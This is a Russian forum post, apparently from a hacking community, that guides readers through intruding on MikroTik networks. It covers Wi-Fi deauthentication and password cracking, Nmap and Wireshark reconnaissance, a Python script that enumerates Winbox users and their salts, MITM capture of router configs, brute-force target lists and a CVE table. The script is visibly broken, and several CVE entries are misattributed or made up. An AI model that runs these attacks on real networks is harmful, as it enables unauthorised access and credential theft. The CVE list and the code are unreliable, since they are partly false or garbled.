What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

Mikrotik Information Gathering. Сбор информации и построение векторов атак при пентесте.

Gufi

Midle Weight
Депозит
$0
Автор: Gufi
Сделано специально для .is!


Содержание:

1. Поиск точек входа
1.1 Определение доступных беспроводных точек Mikrotik
1.2 Атака на беспроводную точку с помощью Aircrack-ng и Wifite
1.3 Использование СИ для физического подключения по ethernet
2.Определение
2.1 Первичный просмотр информации с адаптера
2.2 Определение активных подсетей
2.3 Определение активных IP адресов
2.4 Определение оборудования Mikrotik путем анализа сетевого траффика
2.5 Определение оборудования Mikrotik путем сканирования
3. Пассивный сбор информации
3.1 Парсинг сетевых пакетов семейства DP
3.2 Поиск дополнительной информации
3.3 Сбор информации про активные беспроводные точки на базе RouterOS
4. Активный сбор информации
4.1 Сканирование версии RouterOS
4.2 Сканирование висящих сервисов
4.3 Сбор информации про пользователей системы
4.4 Перехват конфига RouterOS
4.5 Сбор информации про VRRP домен
5. Построение карты сети
5.1 Использование Zenmap
5.2 Правильное структурирование информации
5.3 Использование diagrams.net
6. Построение векторов атак
6.1 Сортируем устройства уязвимые к Bruteforse атакам
6.2 Сортируем устройства уязвимые к атакам по CVE
Нажмите, чтобы раскрыть...

Приветствую вас дорогие друзья, в этой статье мы узнаем об первом этапе пентеста сетей на базе оборудования Mikrotik – Information Gathering.
Мы научимся искать точки входа в такие сети, определять сетевое оборудование, собирать информацию про инфраструктуру RouterOS и строить векторы атак для будущих атак.

Начнем?
https://soundcloud.com/moon_music%2Fhydrogen

Поиск точек входа
Определение доступных беспроводных точек Mikrotik
Приступим к определению. Перед пентестом нам нужно определить доступные Wifi точки на базе оборудования Mikrotik, для этого будем использовать еще один микротик и инструмент Wirelles scan.

Для этого кейса я взял хорошую железку Mikrotik hap ac2, подаем на него питание и подключаемся к нему через ethernet.

Зайдя на устройство по Winbox-у, запускаем инструмент командой:
Код: Скопировать в буфер обмена
/interface wireless scan wlan1 background=yes

Теперь в консоли винбокса мы сможем увидеть информацию про доступные беспроводные точки:


Если в колонке ROUTEROS-VERSION мы увидим какое-то значение, предположительно эта беспроводная точка висит на оборудовании Mikrotik.

Атака на беспроводную точку с помощью Aircrack-ng и Wifite
Определив точку входа, пробиваем себе доступ в сеть с помощью атаки на Wifi точку.

Тут не будет мануала по вардрайвингу, я покажу пример использования двух инструментов: Aircrack-ng и Wifite

Aircrack-ng – один из основных и самых популярных инструментов для атак на беспроводные точки.

Основные этапы атак:

Мониторинг точек и информации об них​
Код: Скопировать в буфер обмена
airodump-ng wlan0mon
Сниффинг пакетов беспроводной точки​
Код: Скопировать в буфер обмена
airodump-ng -c <канал> --bssid <bssid> -w <путь к сохранению файла хэндшейка> wlan0mon
Деаунтефикация клиентов точки​
Код: Скопировать в буфер обмена
aireplay-ng -0 <количество отправляемых пакетов> -a <bssid> wlan0mon
Брутфорс пароля к хэндшейку файла​
Код: Скопировать в буфер обмена
aircrack-ng -a2 -b <bssid> -w <путь к словарю> <путь к файлу хэндшейка>


Wifite – инструмент для автоматизации атак на беспроводные точки.

Основные этапы атак:


Запуск инструмента​
Код: Скопировать в буфер обмена
sudo Wifite
После запуска, выберете цифру для выбора цели

С помощью этих двух инструментов мы сможем получить пароль от Wifi точки, и получить доступ в сеть.

Использование СИ для физического подключения по ethernet
Если мы пентестим физическую инфраструктуру (Офис, корпоративная физическая сеть, кафе, школа) нам нужно иметь разрешения на пентест. В большинстве случаев, нам дают возможность физического подключения к сети через ethernet. Иногда бывают кейсы с физическим пентестом, то есть пентестер должен незаметно пробраться в здание, и подключится к сети.

Для ознакомления с физическим пентестом советую пересмотреть эти материалы:

Также, при физическом пентесте мы можем использовать инструмент Network Ripper. Он позволит закрепится нам в локальной сети, нам нужно только будет подрубить готовую (настроенную) железку по Ethernet к атакуемой сети.
Дальше методом Back connect-a подключится к устройству, уже оттуда мы будем работать.
Мануал по установке и настройке прошивки для Raspberry Pi:
Поиск удаленных точек входа
Удаленной точкой входа в сеть может выступать поднятый на устройстве Mikrotik VPN сервер.

RouterOS имеет возможность поднятия PPTP/OVPN/IPsec/L2TP/SSTP/Wireguard тунелей. В большинстве случаев администраторы делают тунель для удаленного подключения к локальной сети.

PPTP (Point-to-Point Tunneling Protocol):
По умолчанию PPTP использует TCP порт 1723 для установки соединения.​

L2TP (Layer 2 Tunneling Protocol):
L2TP использует UDP порт 1701 для установки соединения.​

IPsec (Internet Protocol Security):
IPsec может использовать различные протоколы и порты, в зависимости от конфигурации. Например, для IPsec с использованием IKEv1 (Internet Key Exchange version 1) UDP порт 500 обычно используется для установки соединения, а для IPsec с использованием IKEv2 UDP порт 4500 может использоваться для установки соединения.​

OpenVPN:
Если используется OpenVPN, порт также зависит от конфигурации. По умолчанию OpenVPN может использовать порт TCP 1194 или UDP 1194.​

SSTP (Secure Socket Tunneling Protocol):
SSTP использует TCP порт 443, который обычно используется для HTTPS.​

Wireguard:
По умолчанию Wireguard использует UDP-порт 51820.​

Для поиска таргетов, можем использовать сервисы по типу Shodan/FOFA

Определение
Первичный просмотр информации с адаптера
Мы в сети. Начнем определять все что окружает нас.

Для просмотра настроек адаптера пишем в консоли
Код: Скопировать в буфер обмена
ipconfig/all
или
Код: Скопировать в буфер обмена
ifconfig


Исходя из этой информации мы можем узнать:
  • Наш адрес (192.168.88.254)
  • Текущую подсеть (Исходя из нашего IP и маски подсети - 192.168.88.1/24)
  • Основной шлюз (192.168.88.1, в 99% случаев это основной роутер/коммутатор в сети)
  • DHCP/DNS сервер (в 99% случаев это основной роутер/коммутатор в сети)

Определение активных подсетей
Первым делом определяем все доступные нам подсети, в этом нам поможет Nmap.

Почти в 90% случаев в каждой подсети есть хост с адресом который заканчивается на .1 (xxx.xxx.xx.1)

Для сканирования вероятно активных подсетей:
Код: Скопировать в буфер обмена
Nmap 192.168.0-254.1 -sn

Для полного сканирования ВСЕХ активных подсетей:
Код: Скопировать в буфер обмена
Nmap 1-254.0-254.0-254.1 -sn

Теперь сохраним список активных подсетей, он нам пригодится для будущей работы.
(Для сохранения информации про сканирование можно использовать флаг -oN)

Определение активных IP адресов
Для определения активных хостов в подсетях, проведем пинг сканирование с помощью Nmap.

Код: Скопировать в буфер обмена
Nmap <подсеть_1> <подсеть_2> <подсеть_3> -sn

(Для сохранения информации про сканирование можно использовать флаг -oN)

Определение оборудования Mikrotik путем анализа сетевого траффика
Будем анализировать исходящие и входящие DP пакеты, именно их использует оборудование Mikrotik.

DP – семейство протоколов от разработчиков оборудования Cisco, их использует сетевое оборудование для коммуникации между собой в сети.

Для перехвата сетевых пакетов будем использовать Wireshark.

Скачать Wireshark:​
https://www.wireshark.org/download.html

Запускаем сниффинг на интерфейсе который подключен к атакуемой сети:



В строке фильтра пишем это значение: cdp || mndp || lldp || edp || fdp

После небольшого ожидания, мы увидим полученные пакеты в сети. Стоит обратить внимание на устройства от которых исходили пакеты, это и есть сетевое оборудование.

Определение оборудования Mikrotik путем сканирования
Определение по открытым портам:

Уникальные порты для оборудования Mikrotik по дефолту это: 8291 (Winbox), 8728 (API)​
В 90% случаев эти порты открыты на оборудовании Mikrotik, для проверки устройств подсети на наличие этих открытых портов будем использовать Nmap:​
Код: Скопировать в буфер обмена
Nmap <подсеть> -p 8291,8728 --open



Определение по баннерам служб:
Оборудование Mikrotik можно определить по баннерам служб, просканируем сеть с помощью Nmap:​
Код: Скопировать в буфер обмена
Nmap <подсеть> -sV
Теперь ищем хосты с надписями “Mikrotik” в баннерах служб.​


Пассивный сбор информации
Парсинг сетевых пакетов семейства DP
С помощью анализа сетевого траффика в сетях на базе оборудования Mikrotik, можно перехватить пакеты протоколов типа DP (Discovery Protocol)

Эти протоколы используются оборудованием для коммуникации между “соседями” в сети. Пакеты содержат ценную информацию об сетевом оборудовании и сети в открытом виде.

Мы будем работать с пакетами протоколов, которые по дефолту использует оборудование Mikrotik.

DP – семейство протоколов от разработчиков оборудования Cisco, их использует сетевое оборудование для коммуникации между собой в сети.

Список протоколов семейства DP:

CDP (Cisco Discovery Protocol):​
Назначение: Разработан Cisco для обнаружения и сбора информации о соседних Cisco-устройствах.​
Особенности: Позволяет Cisco-устройствам обмениваться информацией о себе, такой как тип устройства, версия программного обеспечения, VLAN-информация и другие характеристики.​
EDP (Extreme Discovery Protocol):​
Назначение: Используется оборудованием Extreme Networks для обнаружения и обмена информацией о соседних устройствах в сети.​
Особенности: Обеспечивает аналогичную функциональность, как и другие протоколы обнаружения, предоставляя информацию о сетевых устройствах.​
FDP (Foundry Discovery Protocol):​
Назначение: Используется оборудованием Brocade (ранее Foundry Networks) для обнаружения и обмена информацией о соседних устройствах.​
Особенности: Предоставляет аналогичную функциональность, анализируя топологию сети и предоставляя информацию о сетевых соседях.​
LLDP (Link Layer Discovery Protocol):​
Назначение: Предназначен для обнаружения и передачи информации о соседних сетевых устройствах.​
Особенности: Независим от производителя и используется различными устройствами в сети, позволяя им динамически обнаруживать и предоставлять информацию о себе, такую как тип устройства, порт, VLAN-информация и другие характеристики.​
LLDP-MED (LLDP for Media Endpoint Devices):​
Назначение: Расширение протокола LLDP, предназначенное для передачи дополнительной информации о сетевых устройствах, таких как IP-телефоны и видеокамеры.​
Особенности: Помогает в определении и конфигурации сетевых устройств, специфичных для медиа-сред.​
MNDP (MikroTik Neighbor Discovery Protocol):​
Назначение: Используется MikroTik-устройствами для обнаружения соседних MikroTik-устройств в сети.​
Особенности: Позволяет устройствам MikroTik обмениваться информацией о себе, такой как MAC-адрес, IP-адрес и другие параметры.​


При анализе пакетов этих протоколов, можно получить такую информацию об отправителе пакета:

Тип устройства:

Идентификация конкретного типа соседнего устройства, такого как маршрутизатор, коммутатор, маршрутизатор VoIP (в случае LLDP-MED) и т. д.​

Модель и производитель:

Определение модели и производителя оборудования, что полезно при управлении и обслуживании сети.​

Версия программного обеспечения:

Получение информации о версии встроенного программного обеспечения устройства, что может быть важным для обновлений и управления безопасностью.​

MAC-адрес устройства:

Определение физического адреса соседнего устройства, что может быть полезным для идентификации конкретных устройств в сети.​

Порт подключения:

Информация о физическом порте, через который соседнее устройство подключено к сети. Это может помочь в определении топологии сети.​

Информация о VLAN (при наличии):

Передача информации о VLAN, что полезно при настройке виртуальных локальных сетей и сегментации сети.​

Параметры качества обслуживания (при наличии):

В случае LLDP-MED, предоставление дополнительной информации о параметрах качества обслуживания для устройств, таких как IP-телефоны.​


Для анализа сетевых пакетов будем использовать Wireshark.

Скачать Wireshark: https://www.wireshark.org/download.html

Запускаем Wireshark и запускаем сниффинг на интерфейсе, который подключен к атакуемой сети

В строке фильтра пишем нужные нам пакеты для перехвата:

cdp || mndp || lldp || edp || fdp


Теперь нажав на любой из перехваченных пакетов, можно получить информацию про оборудование.


Сбор информации про активные беспроводные точки на базе RouterOS
Будем использовать системный инструмент RouterOS для сбора информации про доступные WIFI точки.

Для запуска инструмента нам нужен микротик, который будет размещен в поле доступности сигнала WIFI от соседских точек.

Запускаем инструмент:

Код: Скопировать в буфер обмена
/interface wireless scan wlan1 background=yes


Теперь после вывода таблицы, основными колонками будут эти:

ADDRESS – bssid адрес точки доступа
SSID – название точки доступа
CHANNEL – канал на котором работает точка
SIG – уровень сигнала к точке доступа
ROUTEROS-VERSION – версия прошивки RouterOS

Активный сбор информации
Сканирование версии RouterOS
При пентесте, от версии прошивки RouterOS зависит очень много всего: возможность получения доступа через эксплоиты/брутфорс, использование тактик постэксплуатации и все в этом роде.

Тут мы рассмотрим несколько основных тактик для определения версии прошивки RouterOS.

Определение версии прошивки RouterOS с помощью сканирования версий служб:
Код: Скопировать в буфер обмена
Nmap -sV <ip>


На устройствах на базе RouterOS, перед названием службы есть надпись “Mikrotik”, версия службы равна версии прошивки RouterOS.

Определение версии RouterOS с помощью парсинга веб страницы:
(Этот метод будет работать на устройствах на которых открыт 80 порт)
Все очень просто, переходим на IP адрес роутера через браузер, и попадаем на страницу входа в учетку.


Код скрипта для массовой проверки версии RouterOS с помощью парсинга веб страниц:

Python: Скопировать в буфер обмена
Code:
import requests
import re

ip_list =<'путь к файлу с айпишками'>
# Чтение значений из файла
with open(ip_list, 'r') as file:
 ip_addresses = file.read().strip().replace('%0a', '\n').split('\n')

# Проверка, что ip_addresses не пуст
if not ip_addresses:
 print("Ошибка: Значения ip_address не могут быть пустыми.")
else:
 for ip_address in ip_addresses:
# Выполнение запроса и поиск версии
  try:
   session = requests.Session()
   response = session.get(f"http://{ip_address}")
   version_result = re.search(r'>(.*?)<', response.text.split("h1")[2])

   if version_result:
    os_version = version_result.group(1)
    print(f"Версия RouterOS на {ip_address}: {os_version}")
   else:
    print(f"Не удалось версию RouterOS на {ip_address}.")
  except requests.exceptions.RequestException as e:
   print(f"Ошибка при выполнении запроса на {ip_address}: {e}")
input("Нажите любую кнопку для выхода...")

Сканирование висящих сервисов
С помощью инструмента Nmap мы узнаем список висящих сервисов на микротике.

Сетевые L3 сервисы Mikrotik могут выступать точкой входа в систему RouterOS.

Код: Скопировать в буфер обмена
Nmap -sV -p- <IP>

Основные порты для сетевых служб Mikrotik:
21 – FTP
22 – Mikrotik SSHD
80 – Mikrotik WEB panel
8291 – Mikrotik Winbox
8728 – Mikrotik API
8729 – Mikrotik API (с шифрованием)
Нажмите, чтобы раскрыть...

Сбор информации про пользователей системы
Наличие списка юзеров при пентесте, очень помогает при брутфорсе доступа к оборудованию.

Сканирование активных юзеров системы RouterOS:

С помощью скрипта снизу, мы сможем проверить наличие нужных нам юзеров.

Нам нужен словарь с юзернеймами для проверки на их наличие в системе.

Winbox-username-scan.py

Python: Скопировать в буфер обмена
Code:
#!/usr/bin/env python3

import socket, argparse, binascii, signal, time
from multiprocessing import Pool

# Check result codes
RESULT_SALT = 0
RESULT_BAD = 1
RESULT_INVALID = 2
RESULT_UNKNOWN = 3
RESULT_CODES = ['SALT', 'BAD', 'INVALID', 'UNKNOWN']

# Global variables
log_enabled = False
targets = []
number_of_threads = 1
winbox_port = 8291
timeout = 10
delay = 0.001

def build_request(username):
nonce = b'\x44\x45\x38\xa2\x6b\x89\x49\x32\x1c\x74\xef\x0d\x9d\xf4\xae\x0b\x20\xb1\xd8\x55\x9d\x0c\x8a\x5e\x8a\xea\xd7\xa6\x0e\x01\x02\xc7'
null = b'\x00'
request = b'\x06'
msg1 = username.encode() + null + nonce + null
msg1_len_b = len(msg1).to_bytes(1, "little")
msg = msg1_len_b + request + msg1
return(msg)

def init_worker():
 signal.signal(signal.SIGINT, signal.SIG_IGN)

def work(target, username):
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.settimeout(timeout)
 try:
  print('[*] Trying %s:%s' % (target, winbox_port)
  s.connect((target, winbox_port))
  s.sendall(build_request(username))
  lengthByte = s.recv(1)
  lengthInt = int.from_bytes(lengthByte, "little")
  if lengthInt == 33:
   print('[-] BAD: %s:%s %s' % (target, winbox_port, username))
   s.close()
   time.sleep(delay)
   return (target, username, RESULT_BAD, None)

  elif lengthInt == 49:
   serverData = s.recv(lengthInt)
   pkey = serverData[1:33]
   salt = serverData[35:]
   print('[+] SALT: %s:%s %s %s' % (target, winbox_port, username, binascii.hexlify(salt).decode('UTF-8')))
   s.close()
   time.sleep(delay)
   return (target, username, RESULT_SALT, salt)

  else:
   s.close()
   print('[-] INVALID: %s:%s %s' % (target, winbox_port, username))
   time.sleep(delay)
   return (target, username, RESULT_INVALID, None)

 except:
  s.close()
  print('[-] UNKNOWN: %s:%s %s' % (target, winbox_port, username))
  time.sleep(delay)
  return (target, username, RESULT_UNKNOWN, None)

def read_targets(filename):
 try:
 with open(filename) as f:
  targets = [t.strip() for t in f.readlines()]
  f.close()
  return targets
except:
 return None

def log(msg):
 print(msg)
 if log_enabled:
  log_file.write(msg + '\n')



if __name__ == '__main__':
 parser = argparse.ArgumentParser(description='description')
 parser.add_argument('-u', '--user', help = 'Single username to check (default = admin)', required = False)
 parser.add_argument('-U', '--users', help = 'File name with usernames to check', required = False)
 parser.add_argument('-t', '--target', help = 'Target hostname', required = False)
 parser.add_argument('-T', '--targets', help = 'Targets list filename', required = False)
 parser.add_argument('-p', '--port', help = 'Winbox port (default = 8291)', required = False)
 parser.add_argument('-n', '--threads', type = int, help = 'Number of threads for parallel processing', required = False)
 parser.add_argument('--log', help = 'Write log file', required = False)
 parser.add_argument('--timeout', help = 'Connection timeout in seconds', required = False)
 args = vars(parser.parse_args())

 if args['user'] and args['users']:
  print('Please specify --user/-u <username> or --users/-U <filename> to scan, but not both')
  exit(1)

 elif args['user']:
  users = (args['user'],)

 elif args['users']:
  usersfile = args['users']
  users = read_targets(usersfile)

  if users is None:
   print('Error reading the users file: %s' % usersfile)
   exit(1)

  else:
   users = ('admin',)

 if not (args['target'] or args['targets']):
  print('Please specify --target/-t <hostname> or --targets/-T <filename> to scan, and --user/-u <username> or --users/-U <filename>')
  exit(1)



 if args['port']:
  winbox_port = int(args['port'])

 if args['target'] and args['targets']:
  print('Please specify --target/-t <hostname> or --targets/-T <filename>, but not both')
  exit(1)

 elif args['target']:
  targets.append(args['target'])
  number_of_threads = len(users)

 else:
  targetsfile = args['targets']
  targets = read_targets(targetsfile)
  if targets is None:
   print('Error reading the targets file: %s' % targetsfile)
   exit(1)

  #targets_count = len(targets)
  #if targets_count < number_of_threads:
  # number_of_threads = targets_count

 if args['threads']:
  number_of_threads = args['threads']

 if args['log']:

  log_enabled = True

  log_filename = args['log']

  global log_file

  log_file = open(log_filename, 'a')



 if args['timeout']:
  timeout = int(args['timeout'])
  #global request_msg
  #request_msg = build_request(username)

  print('[*] Starting scan for %d users with %s threads' % (len(users), number_of_threads))
  pool = Pool(number_of_threads, init_worker)
  try:
   results = []

   for t in targets:
    for u in users:
     result = pool.apply_async(work, args=(t,u,))
     results.append(result)
     pool.close()
     pool.join()
     print('[!] Done')
  except KeyboardInterrupt:
   print('Got Ctrl+C, terminating')
   pool.terminate()
   pool.join()

  print('The results (%s):' % len(results))

  for r in results:
   try:
    target, username, code, salt = r.get(timeout = 0.00001)
    if code == RESULT_SALT:
     log(RESULT_CODES[code] + '\t' + target + '\t' + username + '\t' + binascii.hexlify(salt).decode('UTF-8'))
    else:
     log(RESULT_CODES[code] + '\t' + target + '\t' + username)
  except:
   pass
   if log_enabled:
   log_file.close()


Запускаем скрипт:

Код: Скопировать в буфер обмена
Python winbox-username-scan.py -t <IP> -users <путь к словарю>

Также можно задать сканирование одного юзера:
-user <user>

И сканирование нескольких таргетов из тхт списка:
-users <путь к списку с юзерами>

После запуска, сможем увидеть такую картину:


Юзеры с подписью “SALT” это активные юзеры в системе.




Определение активной сессии в системе RouterOS через перехват сетевого траффика:

Если перехватывать сетевой траффик в то время когда кто то логинится в систему через веб-панель/FTP можно узнать под каким юзером сессия входа.
Открываем Wireshark, и поле ввода фильтра пишем это значение:

Код: Скопировать в буфер обмена
Ip.addr == <IP> && http or ftp

После открытия появившихся вкладок, мы увидим юзернейм под которым зашли в систему.

Для http:


Для ftp:


Перехват конфига RouterOS
Запустив MITM атаку против оборудования Mikrotik, можно получить конфиг оборудования с настройками системы и прочей информацией.

Для проведения MITM атаки будем использовать инструмент Intercepter-NG.

Скачать: http://sniff.su/download.html
  1. Открываем Intercepter-NG.exe
  2. Выбираем сетевой адаптер и заходим в меню сканирования сети

  1. Запускаем сканирование сети нажав ПКМ> Smart scan
  2. После окончания сканирования, кликаем ПКМ> Add as target на IP сетевого оборудования Mikrotik.

  1. После выбора целей, переходим в вкладку для запуска атаки.

  1. Запускаем атаку:


Готово, MITM атака запущена. Теперь когда кто то в сети успешно залогинится в системе Mikrotik, в директории RES появится папка в которой будет файл с расширением .jg (routeros-xxxxxx.jg)

Открыв этот файл с помощью текстового редактора, мы сможем увидеть полный список параметров и конфигурации устройства.


Сбор информации про VRRP домен
VRRP (Virtual Router Redundancy Protocol) обеспечивает высокую доступность сетевых устройств. Зная информацию об этом протоколе, хакер может выявить потенциальные уязвимости в конфигурации и использовании резервных маршрутизаторов.
Сбор информации про VRRP поможет в будущем нам для построения векторов сетевых атак, например та же MITM атака.
Для получения информации про VRRP домен будем использовать инструмент Wireshark.
Открываем инструмент и в строке ввода фильтра пишем “VRRP”.


После перехвата пакетов VRRP можно получить такую информацию:

Версия протокола (Version):

Информация о версии протокола VRRP (обычно 2 или 3).​

Тип пакета (Type):
Определяет тип VRRP-пакета (Advertisement, Request, или другие).​

Virtual Router ID (VRID):
Идентификатор виртуального роутера, который позволяет различать различные группы VRRP на сети.​

Приоритет (Priority):

Числовое значение, указывающее приоритет текущего маршрутизатора в группе.​
Количество IP-адресов (Count IP Addrs):
Количество виртуальных IP-адресов, используемых в группе VRRP.​

Тип аутентификации (Auth Type):
Указывает, используется ли аутентификация VRRP, и если да, то какого типа.​

Интервал объявлений состояния (Advertisement Interval):
Временной интервал между VRRP-пакетами, измеряемый в секундах.​

Контрольная сумма (Checksum):
Позволяет проверить целостность пакета.​

IP-адреса (IP Address):
Виртуальные IP-адреса, предоставляемые виртуальным роутером в текущей группе.​

Построение карты сети
Использование Zenmap
Zenmap – графический интерфейс для инструмента nmap. Он позволяет визуализировать хосты и построить карту сети с информацией об хостах.

Для установки перейдите на официальный сайт Nmap (https://nmap.org/download.html) и загрузите установщик Nmap для вашей операционной системы. Zenmap обычно поставляется вместе с Nmap.

Для визуализации сетевой инфраструктуры оборудования Mikrotik проводим следующие действия:

  1. Открываем приложение Zenmap.
  2. В поле ввода таргетов пишем IP адреса целей (оборудования Mikrotik) через пробел.

  1. Нажав на кнопку “сканирование” запускаем сканирование.

После окончания сканирования, у нас появятся вкладки с информацией про хосты, вот список основных вкладок:
  • Порты/Узлы – cписок открытых портов и баннеров служб на хостах.
  • Топология – интерактивная визуальная карта хостов с информацией об них.
  • Детали узла – детальная информация об каждом хосте.

Правильное структурирование информации
Для построения красивой карты сети и целей, нужно уметь правильно структурировать полученную информацию.

Здесь я покажу типичный шаблон для записи информации, и наведу пример готового шаблона.

Шаблон для информации про сетевое оборудование Mikrotik:
<IP>
MAC-ADDRESS: <MAC>
RouterOS version: <RouterOS Version>
Board: <Board model>
Open ports: services
<open port>: <service name>​
Users:
<Username>​
Active sessions:
<Service>:<Username>​
Нажмите, чтобы раскрыть...

Пример шаблона с готовой информацией:
192.168.88.1
MAC-ADDRESS: 48:8F:5A:89:E9:F0
RouterOS version: 6.46.8
Board: PL7411-2nD
Open ports: services
21: MikroTik router ftpd 6.46.8​
22: MikroTik RouterOS sshd (protocol 2.0)​
80: MikroTik router config httpd​
8291: Mikrotik Winbox​
8728: Mikrotik API​
Users:
admin​
user​
System​
Active sessions:​
FTP:admin​
HTTP:admin​
Нажмите, чтобы раскрыть...
Исходя из этой информации можно уже строить векторы атак на этот хост.​

Использование diagrams.net
  • Перейдите на diagrams.net
  • Создайте новый документ и выберите подходящий шаблон для вашей карты сети. Например, вы можете выбрать "Network" или "Basic Shapes".
  • Используйте элементы формы, чтобы представить каждое устройство MikroTik на вашей сети. Например, используйте прямоугольники для роутеров.
  • Используйте текстовые блоки, чтобы добавить информацию о каждом MikroTik-устройстве. Вставьте IP-адрес, MAC-адрес, версию RouterOS, модель платы и открытые порты с соответствующими сервисами.
  • Используйте линии или стрелки для указания связей между устройствами. Это может представлять собой физические соединения или логические связи в вашей сети.
  • Добавьте цветовую кодировку, чтобы обозначить разные типы устройств или уровни важности.
  • Группируйте логически связанные устройства и выравнивайте их для более четкого представления.
  • После завершения карты сети, экспортируйте ее в нужный формат (PNG, SVG и т. д.) и сохраните ваши результаты.

Построение векторов атак
Сортируем устройства уязвимые к Bruteforse атакам
Брутфорс атака учетных данных является самым популярным вектором атак для получения доступа к учетным данным RouterOS.

Список сервисов на которые можно проводить Bruteforse атаки:
21: MikroTik router ftpd​
22: MikroTik RouterOS sshd​
23: Linux telnetd​
80: MikroTik router config httpd​
8291: Mikrotik Winbox​
8728: Mikrotik API​
Нажмите, чтобы раскрыть...
Все устройства на которых открыт хоть один сервис из этого списка МОЖНО БРУТИТЬ.

Сортируем устройства уязвимые к атакам по CVE
Наличие уязвимости в этом случае зависит от открытых портов и версии RouterOS.

Список CVE и уязвимых версий прошивок:

CVE-2018-1156:
Название уязвимости: "Winbox Arbitrary File Read"​
Уязвимые версии: RouterOS 6.41rc27 - 6.41.3, 6.40.7, 6.39.4, и более ранние.​

CVE-2019-3976:
Название уязвимости: "Hotspot login page vulnerability"​
Уязвимые версии: RouterOS 6.45.6, 6.44.5, 6.43.16, и более ранние.​

CVE-2019-3977:
Название уязвимости: "Webfig Remote Code Execution"​
Уязвимые версии: RouterOS 6.45.6, 6.44.5, 6.43.16, и более ранние.​

CVE-2020-5722:
Название уязвимости: "MikroTik RouterOS SMB Buffer Overflow (Winbox)"​
Уязвимые версии: RouterOS 6.45.9, 6.46.6, и более ранние.​

CVE-2021-3121:
Название уязвимости: "MikroTik RouterOS Chaining DHCP"​
Уязвимые версии: RouterOS 6.47.9, 6.48.3, и более ранние.​

Спасибо за внимание!


 
Top